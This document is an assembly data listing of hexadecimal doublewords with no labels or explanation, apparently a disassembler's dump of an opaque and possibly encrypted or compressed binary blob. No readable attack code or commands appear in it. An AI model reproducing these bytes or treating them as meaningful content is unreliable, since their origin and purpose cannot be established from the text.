dd 1E91D9A2h, 402383C9h, 8901F1A8h, 0D50C28DDh, 0A7D09B0Fh dd 0AA5900DBh, 51ECDA55h, 4100F0E5h, 80E8049Fh, 0C0D6A869h dd 83461239h, 0FF0081DDh, 8CF89290h, 1249BFECh, 96173E5h dd 5890EE78h, 39C3DEA8h, 0D8955BCEh, 0FE04240h, 0AEFD21E5h dd 1EB39DA0h, 3B00B9FAh, 0E8586F59h, 2402077Ah, 56095FBh dd 476BC651h, 55B649BCh, 0C3941DB1h, 3ECAC473h, 1849E90h dd 7DC1CF00h, 6B04E6F2h, 9BE30AB8h, 40F87354h, 0D74EA79Dh dd 26BF3800h, 380EC65h, 70130255h, 82560C40h, 5CA9C449h dd 1D009FF8h, 253AEEDAh, 3D790DEFh, 921F7097h, 0E8B3947Eh dd 613034C0h, 4801162Dh, 5559496Ch, 7C24F1D3h, 0E447B8C8h dd 27071462h, 7080CCC9h, 9C4BB0Dh, 159921Eh, 0D92777C0h dd 39AB0Eh, 6D7A02B3h, 0F34928D8h, 558C2F00h, 0E92F99Eh dd 13A7019Ch, 0F159302Ah, 0FEE66020h, 395DB000h, 5EE7CBCDh dd 66D8C0FFh, 0FB788F9Fh, 0BA77C90Fh, 35077FE4h, 7C80DAD8h dd 0C1922Fh, 703962D2h, 0F481C260h, 287E0F01h, 0B1524AE9h dd 460ED4h, 3AC5FDAAh, 0DF82CC2h, 14E8C000h, 5B80541Ah dd 4C483D65h, 8E51FA80h, 2017E231h, 42ADB00Bh, 3FCB83CEh dd 302CC84Bh, 0C7F9A022h, 77B85Bh, 66464F68h, 84EB0394h dd 42B55903h, 8E0145h, 44BFA459h, 2B569E58h, 0B3357800h dd 4F31DCCDh, 0E6CF8F7h, 94EDE2Dh, 0CAB830DBh, 0F030F516h dd 0EF0D104Fh, 0ACE40CF4h, 15C05D87h, 0E356F20Dh, 0C8C4316Ah dd 0DBAA004Ah, 0FD1882F4h, 201F6F3h, 1B523BF8h, 2DC45A20h dd 9E7D0058h, 0F7A08A9Ah, 6F3B19D8h, 66988003h, 1BC1FA20h dd 6D0708E7h, 8039658Bh, 85A33A14h, 0EFF05F5h, 0EF023D66h dd 0DEFC1280h, 800822CBh, 215934D4h, 0BBA81F7Ch, 492E3B00h dd 2F0508CBh, 4500F490h, 39754B55h, 15B7C66Ah, 0AC2E5C8Dh dd 0F6BAF207h, 0A950FCDDh, 0C9502398h, 310E1DE0h, 0E1B76658h dd 1BBAFB82h, 0A7698C40h, 19264091h, 483E9330h, 982D5365h dd 54427294h, 1C89456h, 971B551Ch, 0ECA26FADh, 0A31E92Ch dd 163771D3h, 0CD1E8987h, 417130F1h, 6D07C98Ah, 0CC47B2A3h dd 0A66D9F0h, 0F6750E88h, 5D009E85h, 0FBBAF43Eh, 0FD7D8CAEh dd 4D8ABCA8h, 0BF0DA8A8h, 8509E703h, 0A0031750h, 0EA362B7Eh dd 64CB005Ch, 62EB1544h, 4202B696h, 0F9565889h, 0E820808Ch dd 3EDAA4D6h, 4F80618Eh, 115E05B3h, 0F4024BA5h, 0D18D9EB2h dd 0F5A89013h, 0AFA403A7h, 27372C08h, 0EA1C1900h, 0D7BF5F93h dd 5E210117h, 0DE8331B7h, 53423E3h, 96B0152Bh, 670DE840h dd 3FD3C00Ch, 75BED6D5h, 0DCBA0882h, 0BC90AB18h, 0BB022D40h dd 42A8EE3Ch, 7724448Ah, 0D0C60034h, 25AE9E83h, 74A80F6Ch dd 0EE00CC45h, 0F13F0917h, 63E89518h, 98303820h, 46038176h dd 13514709h, 0E10C0B6h, 0EACC90F3h, 85A21FABh, 0D22200D8h dd 29FA88D4h, 5D86048h, 4C8EEA8Dh, 59B0C45Dh, 37EBC44h dd 0C3418539h, 47A0CAFEh, 80ACE27Fh, 380084A6h, 0B6213C8h dd 51D46Dh, 0AEB23EAh, 5845C439h, 0F60FFA98h, 0A0CAE1C8h dd 61687F20h, 0FDF03A19h, 0C4175800h, 0BF6D920Ah, 3811590Ch dd 0D519CDh, 98F8563Fh, 96DDEB82h, 4A13AA00h, 8742C56Ch dd 79B0712Ah, 0E90901DFh, 8A21FBB1h, 43C6F403h, 400257Ah dd 45764993h, 0F86451h, 9FE1B16Dh, 0A3ADF2C1h, 0DFA67402h dd 821B77CBh, 20BAA94Ch, 2508C64Bh, 6A9A0D1Eh, 46026B00h dd 147AE22Dh, 14DCAB19h, 0EA98CB00h, 7E95A0D0h, 803B48DFh dd 198AF4B5h, 70D9C6Bh, 0A0A95124h, 8E4F005Bh, 0F200408Ch dd 7AECD55Dh, 0C06B1E77h, 0CE2DFB38h, 0EA0080B8h, 797CE2EFh dd 62A4A88h, 879EAD52h, 3830F86Fh, 319F81CAh, 0BAF0E5h dd 0A030771h, 20B64B8Ah, 63962D03h, 97C9E1ABh, 0B4BFE6A0h dd 0F7D47h, 80840E8Bh, 77C6228Fh, 2AC84254h, 0B9F54330h dd 0DFE0A9A0h, 71401B99h, 73922BE0h, 0DDD8C650h, 1A199900h dd 0F3058F43h, 444F1DFAh, 6514C0F1h, 39CBD0C0h, 3B01C55h dd 3A1FC5BCh, 0CE43651h, 8998B41Dh, 56A470h, 1F2FA25Ch dd 2CE58A17h, 0C6AF7902h, 4C623F67h, 7F2A3B14h, 77C13961h dd 0FDA98EE2h, 83077FC3h, 0BA40E618h, 113D993h, 0F311BBD0h dd 8A6B5401h, 0D896A0C9h, 134FC140h, 1CB6480Eh, 0B9A1A0C6h dd 12145802h, 4033A3FDh, 0F3E00h, 66D6F934h, 6186C009h dd 4ACA4C00h, 603C7DFAh, 0E84F005Eh, 4B038FF2h, 5D06DFA2h dd 6A8783B0h, 665430C1h dd 639A4589h, 88A0B67Eh, 5C5C744Bh, 0E83B7380h, 1BF85085h dd 60F25504h, 1881EBFFh, 16046A2Ah, 0C0ED1CE4h, 4C138733h dd 0B015D230h, 0C3D4774Fh, 1228FDCBh, 70AA19D1h, 0BED83874h dd 4330D6EDh, 3FE900A9h, 42768119h, 0B2244058h, 258010A0h dd 0EE10021Ch, 0E4D700EFh, 0FA592EC5h, 200407F9h, 0D4FFF257h dd 0D387080h, 42BCA652h, 0B82A2E97h, 0F6230E01h, 6884622Dh dd 0CCAA29F8h, 0BC0E1910h, 7E4FE347h, 1B95D907h, 3EC17680h dd 0ADD3008Bh, 9354D667h, 58A9AA0Fh, 39F10049h, 0A8577692h dd 0C5A97CBCh, 229BA0C1h, 0FA3808F0h, 30F3EADAh, 9389B942h dd 0F8008D9Fh, 71779CEDh, 0F67841AEh, 0E2B60315h, 229D04E6h dd 709E48E0h, 376160C0h, 7128D64Ch, 0EF4600F7h, 0B569D71Fh dd 9C00DA5Ah, 5DD01A4Fh, 63E7019h, 54677D3h, 60171C6h dd 292DBCDAh, 3C08407h, 24BF8CBh, 71877391h, 0B06C3946h dd 886CB424h, 0F8D1480h, 13A25E9h, 0ED484A2Ch, 0C02BEBD4h dd 650916DCh, 9841FDA7h, 18174340h, 0B971990Ch, 9403ABFCh dd 0E2855DD6h, 5680EF6Eh, 34325BBh, 6397C0D8h, 78248FFCh dd 0F1C434CFh, 4C297CCCh, 0A73A2CDAh, 89634180h, 8E357B79h dd 1711FB07h, 0EAE258C0h, 0AFCB207Dh, 8370104Eh, 0EDE6700Ah dd 9E1FF428h, 1C3AD4EAh, 5F2AAC37h, 0F6891503h, 0DFC809F2h dd 0CC82EE93h, 0B423C18Eh, 408900BEh, 0EECE5C02h, 0CA09859Ch dd 203477CDh, 0ECE533A0h, 0E05C0049h, 0AE939732h, 3071385Dh dd 9464CF28h, 190496F0h, 0E10AA30Ch, 44E988C8h, 0F4CC17Eh dd 3B15081Ch, 0F0AF1082h, 93FFAD1h, 6745541Bh, 388BC05h dd 0D407AEABh, 748BB900h, 0FFDA83E8h, 0BA9B242Eh, 0F03867C8h dd 0B99C10Ah, 7CD83453h, 5A134818h, 1392914h, 0C42B977Fh dd 0E4E31BA3h, 6048FF5h, 5DFC3583h, 640098C4h, 0A84DC81Dh dd 9E7D02FFh, 0A1E78101h, 0A015A44Eh, 28982B93h, 1C005438h dd 0F6677189h, 0C3D2D96h, 0A777454Ah, 25009059h, 0AEEDB9FBh dd 791ACD74h, 3A484830h, 0B524DC4Dh, 4AC04058h, 4E0011A5h dd 0E32B63B4h, 168184h, 49DA7DBh, 482DFF6Eh, 0D05D7413h dd 32BF8405h, 66A08840h, 0A5150E49h, 12F413B4h, 2930009Bh dd 2DEC10Eh, 0CBB52802h, 84702FFCh, 28C150D0h, 0E8931E49h dd 0CAC4604Eh, 29D22E28h, 11003C14h, 0F700A6A9h, 70AFDAFCh dd 0E4052FFh, 8149F040h, 0F7B04894h, 1646F03Eh, 0B40C5ABFh dd 16190Dh, 0E6604C31h, 28BCDC9Ch, 8A4DF51Fh, 0E9DEE880h dd 31FD13B4h, 0D0D02B6Fh, 47389D1Ah, 819CAC54h, 9F45E9CEh dd 0D880F5D2h, 0A2E69801h, 413B1100h, 0C446572Fh, 0AC905Ch dd 0E1809E4h, 14453064h, 402F0D3h, 4068E363h, 720D4B94h dd 7C4E2449h, 6CC541C8h, 16F0261Ah, 0BC27B4EBh, 5E0AED60h dd 58C50310h, 0BD558D87h, 0D4CDCBA8h, 0D04E3300h, 7618E745h dd 2EA4003Ch, 1CFBC4F3h, 0BB5DDD7Dh, 0C1AA84A8h, 72DB0420h dd 298F620Ah, 58BE988Eh, 0E099018Ah, 23D36331h, 2E3319D0h dd 0C90C5DDBh, 0F4A56089h, 0B8C61002h, 0C13BEA80h, 0A600BA57h dd 0E7BC5B69h, 738E4377h, 3D7800ABh, 6A923E5Fh, 14B0417Dh dd 0F655E21h, 5CB0309Dh, 10718050h, 0ED88A1h, 0CA3C12D7h dd 6CB7AE40h, 0D5E28B0Ah, 0CAE79CB2h, 433C1029h, 22010EB8h dd 32B277C7h, 0A0314748h, 0B0F4C4C6h, 90A099C0h, 0B5F78492h dd 285D74C8h, 0F6B67601h, 771C0F63h, 0A769FAECh, 5091E816h dd 2898D03Eh, 8AB82758h, 4E118498h, 0C7AC1B24h, 0F0347004h dd 32CFFAEh, 0A3E64049h, 0D6853C89h, 0E2DDB280h, 0E09D3A4Ch dd 0F0BA9F04h, 0C132AC1Dh, 95350760h, 3C0694B8h, 0BBD1FE89h dd 0D3AC2290h, 1444B48h, 0F909468h, 199EDF16h, 40525F1Eh dd 0CC3A6473h, 9A0B1513h, 0AC2CE927h, 4C5260E0h, 3059D0ACh dd 8E88358Bh, 0EB280ACh, 7B5D0310h, 8466000h, 32FBD359h dd 0CDC00C2Ah, 5A71C338h, 8D98D901h, 1A74BF07h, 0EF9ED44Ch dd 0BAC0A850h, 63F40ADBh, 9F9998h, 4BD51552h, 549343E5h dd 443B8024h, 5B30027Ch, 0B1A82614h, 790EBAC0h, 48363F00h dd 4C9EC857h, 96B07482h, 6628054h, 0A047CE7h, 0BD5FAD00h dd 30F84FD6h, 102DEF2Ah, 8127DD84h, 3A99E61Dh, 0A012EFE0h dd 53DD98Dh, 0E0176396h, 0A8E008C9h, 0CE3A2C83h, 0E1BB8BCCh dd 22F2A9h, 34E3D203h, 0A07B136Dh, 0C450A148h, 0A21687Ch dd 0CB22D219h, 12A46420h, 1547AD74h, 6C941C89h, 389C1380h dd 5891B16Ah, 28E08A4Fh, 469EDA0Eh, 44E95DF9h, 6A0726C6h dd 1BC128EAh, 0AB296060h, 330C01DDh, 8D3CA5D6h, 0AFF0887Bh dd 3EA391E1h, 95660069h, 7E1C8513h, 0C5125A1h, 20124EF4h dd 8CE81C30h, 13457F86h, 4054FFA5h, 84745D90h, 5253FC0h dd 17F422A8h, 0B838036Dh, 2F7CA10Fh, 0E5B8042h, 755F1A5h dd 75D92B45h, 0F06547ACh, 4CCCC985h, 34A8CCB9h, 2954CCB0h dd 8D01B6FCh, 568FEE2Fh, 0C4706AABh, 0CAD1C5A7h, 3894C874h dd 0C627FC90h, 927C1052h, 609558A0h, 7F700B92h, 7890609Bh dd 929A020h, 0C69160C5h, 3DF82800h, 0A90A2F76h, 2055B600h dd 4C44E85Fh, 0B72209E3h, 64669BAAh, 0A20955E4h, 2E213ECBh dd 8BDC9400h, 88E40108h, 0D01EBFFh, 2882D47h, 135A2849h dd 0A960B1C1h, 664210D2h, 4F74588h, 0A4E6E040h, 11D4E61Ah dd 0CF27FD58h, 0A8572030h, 4C58A44h, 50743343h, 8F14E0DDh dd 0AD85C201h, 95A17FB6h, 7C406409h, 50B8F062h, 90104C22h dd 8EC705ECh, 62AA556Fh, 0B8511BA4h, 1D2A5091h, 0B9CA03D8h dd 264FD2EFh, 60E98C0h, 4580ED01h, 0A0B0E925h, 420A2C74h dd 744A00A7h, 107DC168h, 1A4F0FBDh, 0F09E8BFCh, 0F2CB7F70h dd 2BBCFF55h, 8415FCB1h, 7FA2D8D8h, 6CAE0C5h, 547412Dh dd 0DB8029CEh, 591D5EE2h, 0BEC9BD69h, 4BDC30EBh, 8040949Eh dd 94DAC9A7h, 0DD00C44Ah, 7C908720h, 2088DDCh, 0F90E5923h dd 464EBCBh, 80E83E26h, 1E65BA60h, 0ADAE0074h, 0B0938584h dd 0A200D5DFh, 0C93AF24Eh, 49AF47C2h, 0B48430C6h, 0A4009372h dd 60C533FFh, 3B5D40C0h, 0AAAC1109h, 0B79004C6h, 40F7B445h dd 1F83E4F8h, 0C1F47DD4h, 345D530Ah, 29C2E424h, 41245961h dd 0F447A6FAh, 0F8000A9Fh, 0BFFB1524h, 1A9AD9E7h, 29ABEB29h dd 0CB8FAF40h, 0CA30EC3Dh, 0CE74E032h, 0B5291480h, 88423465h dd 56E1DA00h, 159B725Fh, 0C1AFD000h, 32EA2C43h, 1E7759h dd 0E68288B2h, 69BE8A61h, 11683362h, 48184042h, 600B83AFh dd 84C6A95Ah, 8450CAA4h, 864780DDh, 0F29DE5D7h, 0B18DBB08h dd 0F2BC6421h, 407A1CACh, 490F59C0h, 0E665C019h, 765821h dd 0CEE4F381h, 757FCF9h, 0BF45E301h, 0D229D6C0h, 0C1222837h dd 66E827FCh, 0FC1D2307h, 53114AAh, 0D427A94Ch, 8C535415h dd 3696A00Ch, 0D7603871h, 2E0B8449h, 55240050h, 2080FFA0h dd 9E3B4C3Eh, 0CBCA8032h, 0C1BF0C9h, 69C504C0h, 0F51577B8h dd 126BC984h, 5130625Ch, 20F428DCh, 4316FE8Ch, 8C884CA7h dd 41438696h, 39F80B96h, 0FF232C64h, 200D00FEh, 32DF75CBh dd 0BFEBE800h, 8972E681h, 29462473h, 0A73A841Ch, 0FA90C1E3h dd 0B12C20FCh, 9031F52Ch, 0E35C055Ah, 54BE8C0h, 0AE5E8869h dd 0F4059B7Ah, 7C8E9239h, 0CC38ECC1h, 579F2180h, 9A5301FCh dd 15692F07h, 8AA08F2Ch, 5C5512AFh, 0DCC500B6h, 8AE02013h dd 0D2901C05h, 4801DF90h dd 5915B143h, 8EC0C67Eh, 589E00ABh, 0BEE157B7h, 0F8C05C93h dd 0B5CC42F3h, 3C5458DFh, 9D9A9900h, 274FC301h, 0E6700E12h dd 459B8088h, 0A43337h, 52DF26CBh, 0C0BE7C04h, 6B0C65ACh dd 140E3B82h, 0C40D13FBh, 0B8CD4305h, 25FCF402h, 2A408198h dd 9EE848EBh, 0E000B0B1h, 4A733E89h, 17EA2E4Ch, 0E66B0818h dd 0F03AF30Ah, 4E4BCE61h, 0E0989C29h, 23022A16h, 0C87ADFCFh dd 93D160AFh, 5C089027h, 33D78477h, 88944220h, 0AC0E9FB4h dd 0D2A6D2B8h, 6E4D8471h, 68655842h, 0F29418BCh, 3D5F002Bh dd 0C4E235C5h, 6300A522h, 89FE89Bh, 16627778h, 20B2404Ah dd 0DFC0D378h, 50C2EA1Fh, 14F252C5h, 60056888h, 7C5CD1D5h dd 30F408E6h, 754F9912h, 54DE7060h, 0B6BB3A76h, 0BE78F8E0h dd 1B595351h, 133882C0h, 202C20C3h, 5D095A57h, 6842D326h dd 97DCA4h, 8CA57C47h, 0FA1ABFFFh, 3CC5D802h, 60ABF5A8h dd 287529D3h, 56A4E3DDh, 0B511EC40h, 6FB41363h, 0DC961440h dd 0CDDD02h, 8846C6FAh, 0B035C274h, 404C4D00h, 0D7D253Dh dd 0C922AA3h, 804C91BCh, 8EC486B3h, 2D980942h, 0D1CD1800h dd 923EB152h, 1C784EA6h, 1B9D110h, 1CE4AFC1h, 5CD14A12h dd 44A7C460h, 5307F3D6h, 0C75445FFh, 0E87F177h, 2894C680h dd 1D70A8h, 0F1E5FC8h, 79C705AFh, 8D0066F8h, 50ECAB52h dd 2C1AC4h, 0A9535A07h, 15FE0205h, 0B0017B70h, 10F3C896h dd 1DFF117Dh, 30F11A60h, 6DE58C50h, 1B20C4Ch, 6F696C07h dd 28871039h, 10F736FCh, 789F7E8Dh, 0F09B931Dh, 244FB83h dd 87C094CCh, 636B028h, 2C5F3CBEh, 0B60359E7h, 4EB7CB7Eh dd 0F6A08012h, 111FECFh, 0A8999FE5h, 0FD8F2750h, 75D98002h dd 0F3C384E9h, 7695273Dh, 0EDA6A0E0h, 0D7086500h, 0DC5B547Dh dd 7FCC00DAh, 0EE4D10A2h, 71374491h, 0EF13B138h, 8CDAD0D1h dd 756703D8h, 7384CBBDh, 3CB250B8h, 0F803D400h, 32D54F28h dd 14617C09h, 0BC3E1086h, 74FE5F00h, 0F42FF9DAh, 400EC9C0h dd 0F615BAh, 0BCA11AF3h, 0E6EBF5E3h, 4AA9A403h, 4603D0h dd 0AF617DD0h, 12E768C5h, 2595CE07h, 96A0591Fh, 506E7241h dd 3A86C02Eh, 2F402716h, 7669FE60h, 0F0D9FDh, 97320A8Ah dd 0B22D5280h, 30307CA4h, 8A26A93Ah, 0EB970052h, 0A787EE65h dd 2100FB04h, 0FDBDECFCh, 0D8F0CBh, 2D69675Fh, 911DA6B6h dd 34FC2224h, 18984115h, 4C513B30h, 5C8501D4h, 0BBA24D9Eh dd 0A768708Bh, 0B87448h, 25D61E1Ah, 1D71D464h, 77A2E454h dd 75C92C90h, 0A79E9124h, 723DFF05h, 55501C0h, 0CCDC023Bh dd 85D624D5h, 917080A2h, 3235F0A3h, 50199FC0h, 47BDF50Fh dd 0FB00DF49h, 0A8278012h, 0A17714EAh, 0BD003431h, 0D5380CAFh dd 0FB156654h, 3286A0Bh, 41FC7F59h, 158A052h, 69B11429h dd 1EC9C496h, 0CEC02438h, 0AE32C18h, 3CD6F828h, 52001E38h dd 8B1128A1h, 0EF03494Bh, 89DAF408h, 60683D77h, 173FC56h dd 6606C427h, 0F8399AD4h, 8615FB85h, 0AB03813h, 80B6D341h dd 23479244h, 6AE1E647h, 0AE395E05h, 5826F994h, 5310A838h dd 0C06106A4h, 789F11D5h, 42128614h, 0BD801B30h, 61786F29h dd 85BA1181h, 0FEA04812h, 0FC004979h, 192D5A8Fh, 28866A98h dd 87243B0Ah, 0B4120ED4h, 6989E380h, 860235E9h, 0AC547292h dd 330440A5h, 5088AC48h, 0ED22831h, 9B16214Bh, 0FEE0994Eh dd 1BBCDC0Ah, 0F0901F70h, 0EFAA5F00h, 5D780CAEh, 0D9F312BAh dd 20502545h, 8BBF094h, 0C300D470h, 166FC5CDh, 13616284h dd 61057A59h, 988F702Ch, 65EC36B9h, 7551004Fh, 108B1DE5h dd 82AF06Ah, 4970F8F7h, 11C50500h, 0B0599DB9h, 9BFCA027h dd 87538848h, 548A9E88h, 26CBC8CAh, 60B0160Ch, 30221D72h dd 97E8074h, 0A9583600h, 6A2407E8h, 872512B2h, 86FC2C1Ch dd 90E23F00h, 0A23EA68Ch, 1F583F1Ah, 61E50384h, 60A08244h dd 7827FCB0h, 41F96930h, 3A926574h, 4E070C32h, 1BF3B7C1h dd 0EB819800h, 7F006806h, 4D828522h, 1804027Ah, 892431F8h dd 480EBD1Dh, 0E8108EAh, 761CC0ADh, 3AB39825h, 0F8C80EECh dd 24A6BC10h, 31E37C64h, 814900CFh, 0BA7CCCE6h, 0D1DC1ACh dd 0E0821EAEh, 48D50C54h, 1E92394Ch, 1C4EB9F1h, 0C4591458h dd 0CCA10215h, 3706F483h, 0EC5488BDh, 981F988h, 966FAFDDh dd 0E5B16880h, 0E898D78Eh, 88898F29h, 205D1209h, 0A86BB160h dd 0E1900158h, 9C44B06Dh, 426ADDAFh, 7320A3F0h, 80769B6Fh dd 503810F1h, 49CC47h, 0E6D55516h, 9240319Ah, 0E5890168h dd 0F395516Fh, 0E0F9F9F4h, 60029A13h, 645E4767h, 0FFDC61A4h dd 76E040CEh, 155431F3h, 0BB3D3061h, 51BD8049h, 0B398E14h dd 0DE5D2425h, 1D5C028h, 7100CAF0h, 0FFA8D4C3h, 95BAF49h dd 812989BEh, 7DC30018h, 991F3DF6h, 78C0B364h, 0E508414Eh dd 3BA900F2h, 0FC2ADA76h, 0BCACA469h, 4D54F415h, 5C6C50B4h dd 0A8C21288h, 0BC07A0h, 0B9FC27CDh, 22661679h, 171DFEE4h dd 2AC4048Ch, 4C98C310h, 0DC6A0F08h, 899C3647h, 3820E096h dd 5AD54C65h, 28610734h, 3E9CDCh, 0FE921C65h, 26ABB2CAh dd 4FC18F18h, 18DA7591h, 11EF2F04h, 3260E11h, 4900F588h dd 61DD1FB9h, 2A9F0010h, 0D160B63Eh, 0A093D707h, 70899E0Ah dd 9D707305h, 7FC8C840h, 78D590h, 0DA4C6830h, 2A0C9912h dd 0CE77FA05h, 7052C1A9h, 68DB8830h, 0F185004Bh, 96446018h dd 8FF6F409h, 0BB00F4A5h, 14490AC8h, 0EA780922h, 3C8956FAh dd 887BB403h, 30273008h, 86FF8040h, 3738E95Ch, 0D04CCF00h dd 0A6F6AD84h, 3A702A68h, 2D9B00D8h, 9E804720h, 831D6F41h dd 68400B31h, 5160EA52h, 291E2A58h, 0B642BCh, 0CC4B920h dd 497B24D0h, 1D04CCD2h, 8B69B7E3h, 11E6085Ch, 20CE1D53h dd 22C3103h, 88DF1B62h, 1FC68B52h, 108F6C3h, 14EA8A0h dd 557C30ACh, 6AAA1509h, 7F888069h, 128FE7DBh, 6128FB59h dd 245A1244h, 7A14F338h, 31E7E815h, 26D284FEh, 2187FC72h dd 2B9911D9h, 86707429h, 0A045142Ah, 98FC9E02h, 0C95E0F08h dd 0F422EFE0h, 84902869h, 892552Fh, 0A6F1C92Eh, 2BE1FC01h dd 5C7314D7h, 9226CA00h, 798C91CDh, 2F4AB58h, 77A9F5BCh dd 4D38C4E0h, 0CB8560A0h, 7DF00695h, 8673D98Fh, 0C87459h dd 161069FEh, 0B0A7473Eh, 0C16830F0h, 769C7029h, 8DDD80h dd 0B7FA0E44h, 3C51E53Fh, 0F0858109h, 60B0482Fh, 6699004Eh dd 145B0121h, 0DE248D70h, 9260AC4Bh, 0C0FB8A8Fh, 201D7331h dd 780014D1h, 679B02CEh, 24F718C5h, 802C4370h, 55F6A7Bh dd 5B00627Eh, 9E8CE9F1h, 25450B5h, 0B27D35C8h, 0E0B098B8h dd 1513DD26h, 5C130785h, 0DC8FA81Eh, 406E4F2Dh, 0FC06337Ch dd 58B0BAD4h, 8C10281Bh, 0C5027EA2h, 6E887F8Dh, 8B446050h dd 43C841C9h, 995C4CA8h, 23938E7Ch, 0C8D57908h, 0F46742h dd 49EA2535h, 0FC5D7B2Ch, 53D6F058h, 9C90244Ch, 998F2360h dd 0A7F474h, 49E31A5Fh, 545B8B3Fh, 87F28D00h, 9BEFFC3Ah dd 0DA56056Eh, 2C7F28B4h, 490050D0h, 0F80177FBh, 1DB4E5F2h dd 52802B10h, 0D6389819h, 0C0F8F65Ch, 20D998B4h, 52272C1h dd 9CFEBFBCh, 53809C28h, 64963494h, 49FA309h, 0F7445F64h dd 0ECB2FDh, 5EECBE5h, 10B467D8h, 532731h, 0AA424A08h dd 10B7035h, 736CE8F6h, 6116EE4Ch, 29986682h, 730340A4h dd 0A019E32Dh, 58D734D8h dd 3C068872h, 0C99654F9h, 69A49E31h, 0A4726A1Eh, 5778A81Fh dd 8404BA48h, 3CC866D5h, 11D9151Ah, 0C900A4C4h, 2C0FA5AEh dd 36C015BEh, 0A99860B3h, 0BB5E3B01h, 475C147Ah, 88A4E429h dd 9100B7DCh, 0E18F40F9h, 0DD39EEh, 0E0B2E4C9h, 9AA89B95h dd 710C6E0Ch, 6B319Eh, 3FC90B81h, 30CD21DDh, 0E1BC9002h dd 0B091CC20h, 92062FD8h, 6EE70040h, 8EBA1BD5h, 980E7A25h dd 0A089519Fh, 7B13C216h, 742A26F9h, 2C57C250h, 0D3EE1C72h dd 42AB3800h, 0ED53E7F9h, 0E0C23879h, 425C9CA6h, 76244313h dd 3E08A4h, 24BC1DAAh, 0F3F4BD7Dh, 0D7550E12h, 8A709C08h dd 80C00930h, 0B1A0F9ADh, 0F89C46DEh, 0EF70E567h, 819EC97h dd 0F8C08F54h, 81284A4h, 13F710D0h, 0E44003B6h, 26312937h dd 66525900h, 6985E91Ch, 0E0180711h, 0A24A0CE2h, 6C4071h dd 9444A898h, 1A7E022Bh, 67D49BDEh, 0CA3A6C45h, 5CA4EC24h dd 0F88E1C2Dh, 42FB1D3Fh, 0CB858487h, 7F0CA7E0h, 95B01892h dd 0EC869C02h, 466964DAh, 0DF6D00C4h, 99652CB0h, 440445F3h dd 16FD82C5h, 0C9D4C0C2h, 93BD670h, 4C227E64h, 2408097Ah dd 0AEF7B380h, 1F52F94h, 610CA5D5h, 2C141BFDh, 0EA06D86Ch dd 9DD90FC3h, 0C5829AD7h, 58E0DBDCh, 46098859h, 336A905Ah dd 0E0E6A428h, 4200DC42h, 0BD59C950h, 48F1A001h, 57005878h dd 42FD8AD3h, 52DB0687h, 85809C44h, 74B64EE1h, 2A8C7502h dd 6156C108h, 0F4106314h, 0E1C29905h, 4B50C09Eh, 94DCE100h dd 0B0465512h, 0B6283400h, 2D85ABC4h, 0EFA4027Dh, 0A09E4186h dd 0C001859h, 46CD29B2h, 0EE1F007Eh, 9198502Fh, 510BAD5Ah dd 990499D8h, 0C0FC7FBCh, 0EEE31419h, 1C00700Eh, 62934F82h dd 6A2CA18Eh, 846920DCh, 90545B88h, 0C4790837h, 0C4CC9747h dd 16CF5A0h, 527FBEBCh, 7A1262ECh, 125A0060h, 201C4DF1h dd 0EDFA3BF8h, 69F79516h, 0E9E84B0Fh, 0E454E650h, 0B0B11Ah dd 107A2F92h, 0F600387Dh, 89D8347Fh, 0C2132AFh, 910C4897h dd 100ABA9h, 802C4CFCh, 5D38F631h, 87887060h, 8FBB2D80h dd 176DA50Ch, 0EA8E4D7Dh, 0EE3B0F03h, 14988C78h, 14F68824h dd 3D947601h, 0B017E20Ah, 5A051F4h, 0E91D86F8h, 0D668A0BBh dd 0DC41114Ah, 9BC5C85Ch, 777CE30h, 85B0453Ah, 0CF5461D0h dd 0E627F826h, 4AB8D20Bh, 0E848AEF0h, 0E42449h, 85483AB2h dd 24028339h, 281F7C4h, 0A94B015h, 0DE100092h, 0B627EE1Ch dd 930211A6h, 8672D8B8h, 17C8E40Fh, 539F8941h, 48386898h dd 26284712h, 1DB51F0Fh, 23F6F0AAh, 6C8D4303h, 0E180D5F8h dd 59804131h, 73BEC4E1h, 4300874Dh, 3461C82h, 0C8F7FA30h dd 1F85DED0h, 5C0053ACh, 9AD2F184h, 722427CEh, 0B028ACA0h dd 0CA1F5DE0h, 0F82C42C1h, 5A82740h, 1190601Bh, 5E9592A6h dd 0CC57A305h, 6C327FC9h, 60863AABh, 2F5BB139h, 4D02E047h dd 9C554810h, 36651C1Dh, 8EACC02Bh, 0FAF60DA8h, 0C0143E4Ch dd 78B934C0h, 0D65B0E4Fh, 5C64C2A0h, 8FACB080h, 0ECF7BC26h dd 61D9E70h, 4927AA05h, 24B2E9C9h, 30F49344h, 9E319047h dd 0A1D004C2h, 70634FC0h, 51AFC092h, 64051797h, 0F37070FCh dd 0EE8895FEh, 0C60A0062h, 504AB4CDh, 6649E173h, 9010DFF0h dd 8C461289h, 2F4E24B0h, 0FD9B6C41h, 91E815CAh, 0A759001Ah dd 6AD9D1B0h, 0C22876BBh, 0CA44F485h, 0BCD33241h, 8F27059h dd 76FD905h, 0C0FF1527h, 0F0315BC0h, 0FB414702h, 51B0AFFDh dd 61818F98h, 0C6E41141h, 80C3D11Eh, 0C477C851h, 0FF651h dd 41CB1AB4h, 9D93F928h, 5B9CA501h, 9701805Dh, 1498C58h dd 0FAE93CCFh, 2D4F8F34h, 48751E38h, 292892BAh, 0BCB21864h dd 0C6590B01h, 307BE332h, 0DB584F9Eh, 0B3A000FDh, 9180735Dh dd 890C9411h, 0A46C637Ah, 1FE7D301h, 0ECF84F90h, 0A4B55A30h dd 603E0574h, 35C1D3CEh, 2F4488C4h, 1FAF244h, 0F819FFE8h dd 0CCF7069Ah, 0B9098140h, 0C8108724h, 74D2FE08h, 77E9120Ch dd 0A28874C6h, 0CEC43F2Ch, 0C003820Eh, 5107B935h, 21D0003Bh dd 1AA2056Ch, 4B4CF50h, 886098E9h, 47778455h, 6F90E18Ah dd 0A400BC39h, 559BDD7Fh, 8C48ABFFh, 48FD2290h, 0A4803C12h dd 0C42313C9h, 9D885E12h, 4A8E2404h, 0DA74D600h, 770BE846h dd 901DA998h, 0D750CCh, 27626D9Bh, 34E73CAAh, 301D4826h dd 9219D6C0h, 12B50411h, 0B43126D9h, 0B39EF5Ch, 0F26D00E0h dd 0ED720DF5h, 0C87BBCh, 3A92E3A4h, 27A89C3Fh, 0D8C6D524h dd 0B8907092h, 50CA389h, 8B67054Fh, 0C4B47428h, 5F18A005h dd 99021B25h, 97E112C8h, 0DC22BC2Dh, 48C39E25h, 0E817300h dd 5CE95382h, 0B369DB64h, 0CAC90030h, 0CC1240EEh, 70B4B4F5h dd 2D0065E1h, 94900CBDh, 